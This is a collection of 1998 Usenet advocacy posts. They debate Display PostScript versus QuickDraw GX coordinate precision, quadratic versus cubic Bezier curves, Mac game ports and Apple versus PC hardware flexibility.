No disagreement here.
: This is all
:with in reason of course. DPS just provides a more reasonable "within
:reason" than GX.
Yes, but Postscript doesn't guarantee what that 'within reason' should
be. Yes, GX uses a fixed-point space, but I know precisely what its
constraints and behavior are.
:Unless she defines fonts or hand creates binary streams, a programmer need
:never know if her DPS implementation is fixed or float or both.
However, it would be nice to know what sorts of hard limits are built
into the imaging system. IMO, this is a failing of Postscript. They really
should state in the specification what the minimum bounds and precision
should be. Did the code I passed to Ghostscript fail because of some bug
on the Ghostscript developer's part or some ambiguity in the Postscript
spec?
:The AppKit in YellowBox is also all float coords.
Ah yes, but I can see some developers being annoyed by the fact that
they didn't use doubles. Like the fixed-point issue, this isn't going to
affect the vast majority of developers, but it's still an issue.
Apple's creating something new with Mac OS X, so there are plenty of
places where they can create better implementations and interfaces. The
question is, are they going to?
-Eric
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 3 Jun 1998 06:26:01 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6l2q9p$cjt$1@news.cs.tu-berlin.de>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l141h$ig9$1@news.cs.tu-berlin.de> <rex-0206981543010001@192.168.0.3> <6l1pjm$s30$1@news.cs.tu-berlin.de> <rex-0206981940440001@192.168.0.3>
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rex@smallandmighty.com (Eric King) writes:
>In article <6l1pjm$s30$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
>(Marcel Weiher) wrote:
>:You still misunderstand. The 'coordinates' that will be converted to
>:integer and limited are the window bounds.
> You said they can't be larger than 16k x 16k pixels. The docs say
>otherwise. Furthermore Windows are not Views, so where's my
>misunderstanding?
Sorry, 10K x 10K, I haven't looked at the actualy numbers in a while
(and had machportdevice in mind, which has an undocumented 32K^2 limit)
The misunderstanding is that 'coordinates' will somehow be pre-clipped
to this 10K range and that there is some type of coordinate system
limitation. The 10K range is a *device* limit, just like an imagesetter
with 1200 dpi resolution will have a limit to the actual number of
pixels it can display. As a matter of fact, an 11x17 imagesetter will
have a 13200 x 20400 pixel limit. Again, none of this has any effect
on the coordinate system that can be used, only on the actual pixel
output.
This is called 'device independence'. :-)
>:Nope. The limitations are in the Type-1 format, and documented there.
>:They are not in the language, they are not exposed.
> You've hit upon my problem with directly using PS' imaging model. By
No I haven't. I have just explained to you that the limitation you
have 'hit upon' is not a limitation of the Postscript imaging model
but a limitation of the Type-1 specification, which is not at all
the same thing.
>using PS throughout the graphics system, you're forcing yourself to
>support the lowest common denominator PS systems. It's much better to put
>an abstraction layer between the onscreen representation and the printed
>representation.
'Lowest common denominator'?! LOL. Just a second ago you were defending
a much lower common denominator. Postscript *is* an abstraction layer,
and it is easy to layer other abstractions on top of it.
>:>:For example, there are no limits to the size View you can have.
>:
>:> Sure there are.
>:
>:Ok, you got me, the limits are +- 10^38. Whoop-Dee-Doo.
> Not in Ghostscript.
I am not talking about Ghostscript.
>:> And similarly you would lose sub-pixel precision if you have a really
>:>large coordinates. Remember DPS uses floats in its functions, not doubles.
>:>There are problems with both models. Though oddly enough the DPS server
>:>can handle paths sent in fixed-point coordinates as well...
>:
>:Sure. The 16 bit scaled integers are a more compact representation
>:than 32 bit floats. Less communications bandwidth.
> Actually, it supports 32bit fixed point as well. What's the point if
>floats are so much more convenient?
> Also, if the
>:developer has integer coordinates to send, why convert them to float?
Funny, I answered your question in the previous post. Re-read. :-)
> What if you *need* double precision? All of the DPS calls specify floats.
Oh, surely you jest! If you can defend +-32767 coordinate limitations,
defending +-10^38 shouldn't be too much of a problem. Also, you
are confusing the client library with the PS imaging model proper.
>:CPU alone could completely saturate the memory subsystem. I don't
>:think too many people bothered with the fixed point representation
>:afterwards, because float is just so much more convenient.
> I don't think many people would be bothered by a 32k x 32k coordinate
>system constraint. It's just not that big of an issue for the vast
>majority of developers.
It's just one more completely unecessary hassle, just like running the
event loop manually or doing menu-computations for the OS.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 2 Jun 1998 18:11:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B199F088-11AE8@206.165.43.16>
References: <6l1q5a$sad$1@news.cs.tu-berlin.de>
nntp://news.primenet.com/comp.sys.next.advocacy
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Marcel Weiher <marcel@cs.tu-berlin.de> said:
>
>>TrueType and TT GX are based on quadratic beziers while PS Type 1 etc use
>>cubic beziers. Are you claiming non-true-WYSIWYG when someone uses a
>TT
>>font?
>
>Having written a TT -> T1/T3 converter: it's not *that* simple.
>Yes, Quadratic->Bezier can be handled, but there are quite a
>few more issues having to do with glyph encoding, missing or
>ambiguous specifications etc.
>
>Far more difficult than the identity transformation, believe me.
GX handles plug-in font rasterizers. That's how it handles T1 fonts. Apple
has already commited to TT, GX and T1/T3/multimaster(?) fonts in YB/Carbon,
so obviously they are doing something along these lines (I would THINK)
with fonts since GX allows on-the-fly modifications of fonts whereas
multimaster fonts are static, or so I have heard.
GX also allows one to convert any glyph from any font to a shape (path) and
perform geometric operations (union/intersection/xor/etc) on it, so
obviously they somehow convert T1 to quadratic bezier internally, or
perhaps the GX-aware ATM rasterizer does it for them.
My point being, and you seem to be agreeing, that if they can handle the
font conversion either way, they should be able to handle converting
simpler curves, also.
Or, they can embrace complete compatibility with OpenGL/QD3D and support
any arbitrary NURB-spline in the non-announced ultra-high-end package that
Mike appears to be not-working-on. ;-)
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 2 Jun 1998 23:46:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19A3F17-5FA62@206.165.43.119>
References: <3574D79C.CE3EB26E@trilithon.com>
To: "Henry McGilton" <henry@trilithon.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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Henry McGilton <henry@trilithon.com> said:
>Lawson English wrote:
>
> * Translation from quadratic to cubic bezier format can
> * be made as accurate as you like.
>
> * TrueType and TT GX are based on quadratic beziers while
> * PS Type 1 etc use cubic beziers. Are you claiming
> * non-true-WYSIWYG when someone uses a TT font?
>Excuse me --- a Bezier [spline] is *by definition* a cubic.
>TrueType and TT GX [and, early in history, NeWS] used Quadratic
>Splines [the quadratic splines of NeWS were largely developed
>by Vaughan Pratt at Stanford], but they were never referred to
>as Quadratic Beziers. Once again, you appear to not know what
>the hell you are talking about.
>
I'll be the first to agree that my technical background is spotty, at best,
but I'm afraid that you are simply wrong here.
According to Bartels, Beatty and Barsky, in _Introduction to Splines for
use in Computer Graphics and Geometric Modeling_, Bezier curves come in all
degrees. They explicitly mention degree 3 (cubic), degree 4 (quardic) and
degree 5 (quintic) Bezier curves. TT and GX curves are of degree 2
(parabolic/quadratic). Quadratic Beziers are really easy to work with
because you can so easily divide them into two new curves of equal size.
You can continue the process until there's nothing left but arbitrarily
small line-segments, which can then be rendered using standard line-drawing
techniques (this is true of cubic Beziers, also, but see below).
Cubic Beziers (DPS/PDF/T1) are of the form:
C(u) = V[0] (1-u)^3 + V[1]*3u(1-u)^2 + V[2]*3u^2(1-u) + V[3]*U^3
Quadratic Beziers (GX/TT/TT-GX) are of the form:
Q(u) = V[0](1-u)^2 + V[1]*2u(1-u) + V[2]*u^2
The mid-point sub-division process for a quadratic Bezier is:
original has control points v0, v1, v2. New curves have v0', etc and vo'',
etc.
Curve 1: v0' = v0, v1' = (v0 + v1)/2, v2' = (v0 + 2v1 + v2)/4
Curve 2: v0'' = (v0 + 2v1 + v2)/4 = v2', v1'' = (v1 + v2)/2, v2'' = v2
This can be easily and speedily done on using only shifts and adds, which
is ideal for a processor like the 68K.
The equivalent process for cubic and higher Beziers is more complex and
requires multiplication, making it less suitable for older machines. It
should STILL be slower than the equivalent quadratic implementation, even
on PPC's, but obviously Apple's implementation of GX Beziers on PPC isn't
optimal since Mike says that DPS/PDF-PowerMac is faster than GX-PowerMac
(non-optimized code leftover from 68K origins, I'll bet).
Incidentally, while browsing [Bartels, Beatty and Barsky], I learned that a
cubic Bezier can ALWAYS be implemented as a composite of 2 quadratics (and
a lower-degree can always be exactly represented by a higher-degree
Bezier), so the translation between GX and DPS/PDF can be made
mathematically exact and there is no question of loss of fidelity at the
resolution of any known printer when one converts between GX and DPS (as
long as the coordinate-limits of GX are not exceeded, of course).
This is no doubt why Apple chose to use quadratic Beziers for its font and
graphics engines: they are faster (on paper at least) and conversions
between the two representations (quadratic/cubic) are mathematically
perfect.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 2 Jun 1998 23:47:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19A3F42-6048B@206.165.43.119>
References: <3574D836.EB7FB74B@trilithon.com>
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Henry McGilton <henry@trilithon.com> said:
>Lawson English wrote:
>
> * Oh, well. If my GXFCN ever takes off, you'll have a
> * lot of people asking for GX in Carbon and maybe Apple
> * will listen then.
>It will take off a lot faster if you spend your time developing
>the product and less time posting nonsense to the net. When we
>see something real that we can evaluate, we'll all be able to form
>opinions as to the viability.
>
>So take your medication and all hands to the coding pumps.
>
Right arm, man. ;-)
----------------------------------------------------------------------
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----------------------------------------------------------------------
Subject: Re: Where is all the mac software????
From: "Edward Dodge" <edodge@teleport.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
nntp://news.teleport.com/comp.sys.mac.advocacy
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com>
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Date: Wed, 03 Jun 1998 04:28:16 GMT
NNTP-Posting-Date: Tue, 02 Jun 1998 21:28:16 PDT
>Take id Software, developer of the popular shoot-'em-up game
``Quake.'' It
>did a Mac version of the original game but sold only 50,000 copies.
I'll tell you why *I* never bought a copy of Quake:
1) Demo looked like a really poor, second-rate port of a *PC* title.
2) Demo game-play was slower on a fast Mac than on a slow PC.
3) Didn't match the fit and finish of much nicer ports like Duke
Nukem.
4) Myth makes Quake look like child's play.
If the Diablo port is as bad as the Quake port, I'll probably forget
about
bying *that* one too. Hurky-Jerky postage-size pixels on some
14-year-old's 166-Mhz Packard Bell may be fine for 95% of the PC
gamers, but that just doesn't cut it on the Mac. See www.bungie.com
for a view of Myth, a game that respects the platform.
Edward
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Wed, 03 Jun 1998 00:32:38 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0306980032390001@dialin33417.slip.uci.edu>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <6l2fkn$aas1@odie.mcleod.net>
In article <6l2fkn$aas1@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
> There is currently
> no or very little business incentive to develop applications (especially
> games) for the Mac.
>
> I am afraid Apple is already over the brink and it is too late to recover.
I think there is an incentive, but it needs to be approached with caution.
The Mac market is very discerning of products. I don't see Mac users
clamoring for 9 first-person shoot-them-ups. Marathon pretty much
saturated the market for a while. Doom was more popular, but is wasn't
Mac-like and didn't sell well into the market. Quality matters a *lot*.
At the same time, Ambrosia software keeps a lot of Mac users very happy
with nicely priced, extremely high quality products. They don't have
million dollar production budgets, but more importantly the are fun,
unlike a lot of the million dollar production budget games that I've seen.
It will be a delicate market until something big comes along. It's not
clear that iMac will be big enough, but I think it will help matters in
the near term.
> I wonder what the annual sales for Microsoft Office 98 Mac are. I wonder
> how many days it will take the Windows version to overtake the figure...
> (less that 15 ?)
Dollar figure? Mac Office used to be a *huge* product for MS, with
extremely high sales. Keep in mind for a long time Word and Excel (even
well after coming to Windows) sold more on the Mac than on the PC. That
certainly stopped when Word 6 came along and sucked any value out of MS
products, and probably stopped well before that even.
Even so, I don't think that shrinkwrap sales of Win Office are all that
high - there tends to be a lot of preloads, bundles, and licenses. In the
Mac market, very near every sale is either an upgrade or a shrinkwrap
copy. Pretty big dollars I imagine. I think 15 days might be low,
depending on how valuable 98 is perceived in the Windows market. It was
*extremely* important in the Mac market.
-Bob Cassidy
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 3 Jun 1998 03:03:48 -0500
Organization: KAOS
Message-ID: <19980603030348479219@[168.191.177.137]>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905980008090001@dialin33418.slip.uci.edu> <slrn6mu26s.abi.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905981406440001@dante.eng.uci.edu> <6kmp99$i5e$3@ns3.vrx.net> <19980531001706761026@sdn-ts-006txhousp05.dialsprint.net> <6ktv0m$a6t$5@ns3.vrx.net>
Maury Markowitz wrote:
> I wrote:
>
> > Except that Apple talks about AltiVec, and the news items that I've read
> > describe AltiVec in the context of G4s. Is there a plan for AltiVec on
> > G3s?
>
> I don't think it makes any difference - unless G4's _general_ performance
> is in the same ball park, AltiVec is meaningless.
I'm not sure what you're getting at here, but IIRC, I wrote the above in
response to your belief that Apple has not shown an interest in the G4.
I was simply saying that a) Apple has shown an interest in AltiVec, b)
to my knowledge, AltiVec is targeted at G4s, ergo c) Apple has shown an
interest in the G4.
<helpful answers to my questions about OS "bitness" snipped>
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 3 Jun 1998 03:03:31 -0500
Organization: KAOS
Message-ID: <19980603030331478229@[168.191.177.137]>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net> <slrn6n5jm1.2kj.sal@panix3.panix.com> <3572E0C5.BDEEDD46@nstar.net> <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1@nstar.net> <slrn6n6csr.a9v.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net>
Michael J. Peck wrote:
> someday it's going to be so gratifying to watch someone with balls eat
> Apple's market for lunch, doing what Apple could/should have done all
> along, but couldn't indefinitely prevent...
Where have you been the last 10 years? Microsoft has already done it.
Somehow, I don't feel gratified.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 3 Jun 1998 03:03:56 -0500
Organization: KAOS
Message-ID: <19980603030356479711@[168.191.177.137]>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net> <slrn6n5jm1.2kj.sal@panix3.panix.com> <3572E0C5.BDEEDD46@nstar.net> <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1@nstar.net> <slrn6n6csr.a9v.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net>
Michael J. Peck wrote:
> Of course, you always have this option [of not having to worry about what
> soundcard is in your Mac]. On the Mac, unfortunately, it's your only
> option. Perfect, if you happen to fit right into the niche. Unfortunately,
> only 2% of us do, apparently.
2%? Whatever Apple's marketshare currently is, I suspect your 2% figure
is way off. I don't know anyone who owns a PC who has ever replaced
anything in it, including RAM. I don't know anyone whose first
introduction to the Internet was *not* through America Online. My
point? My sphere of acquaintance may not be representative of the norm,
but don't assume that yours is, either. After all, you work in the
industry. Not everyone who uses computers lives and breathes them.
> Yes, how wonderful that MacOS runs reliably on any of, say, 30 different
> systems, produced over a span of, say, 24 months.
Fortunately, Apple has simplified its hardware line.
> Now that's the brightest thing you've written in this whole post.
I really wish you would stop denigrating the intelligence of those who
disagree with you.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 03 Jun 1998 02:06:52 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0306980206530001@dialin33417.slip.uci.edu>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net>
In article <3574976D.A420646B@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Robert Cassidy wrote:
> > But that's what I don't get. I have a Northstar equivalent - the Mac. In
> > your father's time you could dive in and install a two-barrel carburator
> > on your car yourself. You can't do that with the Northstar. A tradeoff was
> > made between utility and options. Northstar represents utility, 67 Chevy
> > represented options.
>
> Ah, no. See, the tradeoff between utility and options is a separate
> issue. Nathan's beef was with the fact that the rushing pace of
> technology *forced* options on the consumer and thus subjugated them to
> the evil dictates of scheming engineers in a capitalistic pig's lab
> somewhere.
The rushing pace of technology, or the rushing pace of marketing selling
technology? I see the latter, where the industry peddles their 5%
different products to consumers, making it increasingly difficult to
address utility over choice. While there has been a strong technological
drive, a great deal of it has been of little utility or of little
end-result improvement over the previous technology. Rather, much of it is
technology for the sake of marketing (MMX) or technology with little
utility (some of the 'extra' functions on audio and video cards, for
example) or products with little new to offer (a 2% speedup in
such-and-such a function that PC or Mac World feels necessary to play up
in nice colorful bar charts).
In a sense, capitalism has built a tremendously large collection of
products to choose from that are neither truly fungible nor significantly
distinguishable. So we cannot adequately say 'give me a sound card' in the
same way we can say 'give me a gallon of gas' yet the variation from sound
card to sound card is often so minor as to question why there needs to be
any variation at all. And a lot of the reason for the volume of differing
products is this ever-so-minor but constant advance of technology that
seems to be perceived as more valuable than it really is. At some point a
threshold gets passed beyond which you really can't tell the difference,
even though the technobabble on the box would lead you to belive you are
choosing between two significantly different products.
Its primarily a fault of us, the consumer, for giving in to the marketing.
> I wasn't thinking of "utility v. options" when I brought up the
> Northstar example. I was just thinking of a technologically-advanced
> product that gets complaints from people who feel left behind.
While I agree that it takes place here as well, also realize that
technologically-advanced means different things to different people. To
me, a technologically advanced piece of hardware necessarily must be
advanced from top to bottom, from reliability to consistency to value to
how it solves a given problem.
> > Swapping out a sound card on a Mac is not a thing you do, and as a result
> > not a thing that breaks. You lose a bit of flexibility, but so what? It's
> > not flexible in a range that matters to me or anyone else that I know of.
>
> You don't know any musicians, then?
Sure. They use Macs and built-in hardware. Maybe I shouldn't tell them
their doing something wrong...
> You don't know anybody who plays computer games on a PC?
Sure I do. Never known one of them to jump sound cards though. *Add* to
the system, but not replace.
> Apparently enough people care that GameCenter does product reviews...and I
> read 'em!
I'm happy for you.
> Maybe I'm the *only* one...that's sort of spooky. I'm sure you're wrong.
I'm sure there are a few others. Hardly a position to build a hardware
platform around, however.
> > There are only so many options that are worthy of my time. I don't want 34
> > sound cards to choose from. A few will do. The standard one which does 98%
> > of what anybody wants (what I have now) or a choice of high-end cards for
> > professionals. As such, sound cards don't fall in my field of vision. If
> > the machine down the hall is unhappy, 'What about the sound card?' never
> > enters my head.
>
> So...do you have a broker to choose your next automobile? Your home
> furniture, perhaps? Maybe you have somebody who picks dinner for you.
>
> Maybe you're just demonstrating my point that nobody cares about
> *everything*. You pick what's worth your money. And the whole subject of
> the thread? Apple doesn't allow you to do this.
Ah yes, and they are *so* different. Want to run NT on your SGI box - no
problem. Solaris on PPC - go for it!
Yet my point is also that you don't need to offer *everything* to
everybody. In fact, there is value sometimes in *not* offering everything,
especially if you are required to support whatever comes along.
> What?! This is ridiculous. It's easier to keep track of the zigzagging
> contents of Apple products than it is to complete a simple checklist on
> PC hardware contents?
For an arbitrary Mac vs. an arbitrary PC. Yes. There is considerable value
to me to know that I can walk across campus, yank the video card out of a
PowerMac there, shove it into a PowerMac here and know that there won't be
any driver issues, software issues, or hardware issues to deal with. It's
not unusual.
While I'll admit that the changing landscape for Mac hardware hasn't
always been great - the interfaces have changed as much as the PC world.
But at least I know that within those families, things pretty much just
work without intervention on my part. I can't say the same for the PC
people I know.
> Yes, how wonderful that MacOS runs reliably on any of, say, 30 different
> systems, produced over a span of, say, 24 months. That's really
> impressive, Bob. And it just goes to show how NT sucks.
Did I say that NT sucks?
> > Technical progress isn't bad. But the PC world is stuck in the 1950's
> > model of building engines. They aren't making much progress. They are
> > merely offering new bells and new whistles that the consumer is expected
> > to make work.
>
> The market wants the choice. The market delivers the choice. Until the
> market stops wanting it, it will still be getting the choice. See?
And yet there are large factions in the PC market that keep clamoring for
more and more consolidation and standardization. To reduce the amount of
choice. The historical individual consumers aren't part of those factions.
The potential individual conumers are. Corporations are. Time to move the
computer from the age of mine-is-bigger-than-yours to one of standard
utility. Of course the automakers have done their worst to make sure that
won't happen to them either - no profit in it.
> And until Apple gives the market what it wants, despite your objections
> on arbitrary grounds, it will continue to be The Almost-Dead Company.
So Apple needs to deliver Windows, I guess.
> > It wasn't until automakers broke the model that they were able to
> > introduce technology that makes engines 'just work' for extended periods
> > of time.
>
> Actually, that's not quite it. It wasn't until auto*buyers* decided that
> they *wanted* engines to 'just work' for extended periods of time.
I actually think it all came about when the government started telling
automaker that cars had to meet certain standards. All of a sudden the
model changed because it had to. When the options went out the window, the
Japanese introduced utility. Consumers didn't choose to leave options...
> > Apple broke the model early on, but apparently people weren't
> > ready.
>
> Now that's the brightest thing you've written in this whole post.
Gee thanks.
> > Computers were a novelty just as cars were to the young people
> > following WWII. But now computers are more important for many markets.
> > They do work. They are utilitarian and need reliability and
> > predictability, not endless options.
>
> So...why does the number of 3D accelerators in the PC market continue to
> snowball?
>
> I don't want you to lose any sleep, so I'll give you the answer: every
> succeeding model is faster than the previous one. Meanwhile, your Mac
> has yesterday's 3D acceleration, or none at all. And I've *seen* you
> complain about the lack of Mac games, Bob.
Sure I have. But not every product sees clear technological improvements
on the scale that 3D does. The reason my Mac might have yesterday's 3D is
not because of a lack of flexibility on Apple's part aside from the need
to have to do so many things to bring developers to so many markets that
they had completely lost their focus. Rather, Apple has provided the
ability to expand in that area in *exactly* the same way the PC market has
but the market simply wasn't there. It's not the byproduct of a model of
simplicity.
> You figure it out. But chew on this: maybe your model of simplicity is
> currently at odds with a model of performance that's given a higher
> priority in the market at large.
In a sense it is. But you can also discriminate between those things that
are unworthy of complexity simply due to the nature of the product and
those things that are not. I don't see a hugely compelling reason not to
offer 10/100 autodetect ethernet on the MB, for example. What would a
competing 10/100 product offer me that is worth having to deal with the
driver/compatability/etc. issues? 3D on the other hand is different, it's
evolving rapidly as you suggest. I don't see the typical user gaining any
value in sound technology above what we've seen over the last few years.
The specialized user is a different matter. You can pick and choose where
and when it's time to say: 'Y'now, it just isn't going to improve quickly
enough to subject users to all those issues'. Clearly 3D is nowhere near
that point.
I'm not advocating a closed box, rather I'm trying to steer clear of a box
in which each and every item becomes a variable to be dealt with.
-Bob Cassidy
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: Wed, 03 Jun 1998 09:08:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6l33qi$ifm$1@nnrp1.dejanews.com>
References: <6l14q4$adf$2@ironhorse.plsys.co.uk> <B199A6F7-1B326@206.165.43.1> <3574D79C.CE3EB26E@trilithon.com>
In article <3574D79C.CE3EB26E@trilithon.com>,
Henry McGilton <henry@trilithon.com> wrote:
> Excuse me --- a Bezier [spline] is *by definition* a cubic.
Are you sure about that? I don't know the formal definition of a Bezier but
you can use the de Castello expansion to generate a basis matrix for a
quadratic as well.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out
Date: Wed, 03 Jun 98 06:39:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8F0518F.09B600029D.uuout@relaynet.org>
On 06/03/98, LAWSON ENGLISH wrote:
LE> I'll be the first to agree that my technical background
LE> is spotty, at best
Really? I'd have thought that by now there would be at least a few dozen
saying the same thing about you first.
Salut!
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
Origin: --> Don't anthropomorphize computers. They hate that.
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 03 Jun 1998 11:44:29 GMT
Organization: gte.net
Message-ID: <6l3c7c$ngk$1@gte1.gte.net>
References: <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7> <6k7k07$cs1$1@news.ox.ac.uk> <35779ed6.7238238@news.supernews.com> <6khn2t$o63$1@news.ox.ac.uk> <3587a72f.21054979@news.supernews.com> <6kpuf1$dlm$4@gte2.gte.net> <35755632.7846464@news.supernews.com>
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On Tue, 02 Jun 1998 01:44:09 GMT, someone claiming to be T. Max Devlin
wrote:
>rfelts@. (Roger), on Sat, 30 May 1998 21:52:56 GMT,
>>On Thu, 28 May 1998 18:11:03 GMT, someone claiming to be T. Max Devlin
>>wrote:
>>Okay. I get it. You think that with out source, you can't program
>>for Windows.
>No. I _know_ that _with_ source, it is _easier_ to program for Windows.
>I never said that source would help any trivial app. But for the
>large-scale integration necessary to compete with Microsoft applications
>on Microsoft's own operating system, to suggest that Microsoft does not
>have anti-competitive access to the source code is just unreasonable.
No, you strongly suspect that with source, it would be easier. Since
you do not have a experience with programming with Windows source,
it's just a guess on your part.
>>You're wrong. And it is supposition (incorrect supposition at that,)
>>since you cannot provide any proof and proof to the contrary is freely
>>available.
>Is this the whole damn message? "You're wrong?" I would have expected
>you to pick apart my "gut feeling" "argument".
I don't consider it an argument. It is, like most of your arguments,
an opinion. One with which I could agree, or disagree, but an opinion
none the less. The difference is that this time you clearly labeled
it as such, while often you try to pass off opinion as fact.
If you will look, you'll find I rarely argue opinion. It's only when
you start calling it fact that I ask for backup.
>I would have hoped you
>had the trollsomeness to avoid the obvious "I get it; you think..."
>rinky-dink stuff, and get down to serious make-believe. If you are
>going to make up lies about what I suppose, said, or think, you could at
>least have the balls to go one single solitary reply without invoking
>the "you cannot provide proof" "logic".
Yeah. Stop asking me to actually * support * what I say with facts
instead of hand waving and personal attacks. It's not * fair*.
Date: Wed, 03 Jun 1998 07:51:50 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Message-ID: <joe.ragosta-0306980751510001@wil47.dol.net>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net>
In article <35744B61.1DDA4091@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Yes! It's wonderful. Every year or so I spend $80 and get the
> latest-and-greatest sound card, upon which the fast-moving gaming market
> makes wonderful things happen: four-speaker surround sound,
> three-dimensional sound, excellent clarity, moving bass, convincing
> speech synthesis, low CPU utilization with advanced busmastering
> designs.
>
> What does your Macintosh have?
Productivity.
>
> Explain again how you're better off than me. I've turned my share of old
> 386 and 486 machines into FreeBSD and Linux clients and servers. The
> main difference is that I was able to put a serial expander and a fast
> SCSI solution into those boxes and get my time's worth.
